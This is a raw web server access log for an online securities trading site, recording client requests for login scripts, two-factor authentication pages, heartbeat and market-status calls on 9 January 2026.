[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936522123 HTTP/1.1" 3188
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:23:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:13:24:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936509965 HTTP/1.1" -
[09/Jan/2026:13:24:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:13:24:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:13:24:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:24:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 466
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936530851 HTTP/1.1" 3188
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:24:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:24:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:13:24:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936515105 HTTP/1.1" -
[09/Jan/2026:13:24:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:24:08 +0800] 40.77.167.159 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20251012 HTTP/1.1" 151564
[09/Jan/2026:13:24:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936520265 HTTP/1.1" -
[09/Jan/2026:13:24:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:13:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936525316 HTTP/1.1" -
[09/Jan/2026:13:24:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:24:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:24:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:24:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 426
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:24:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
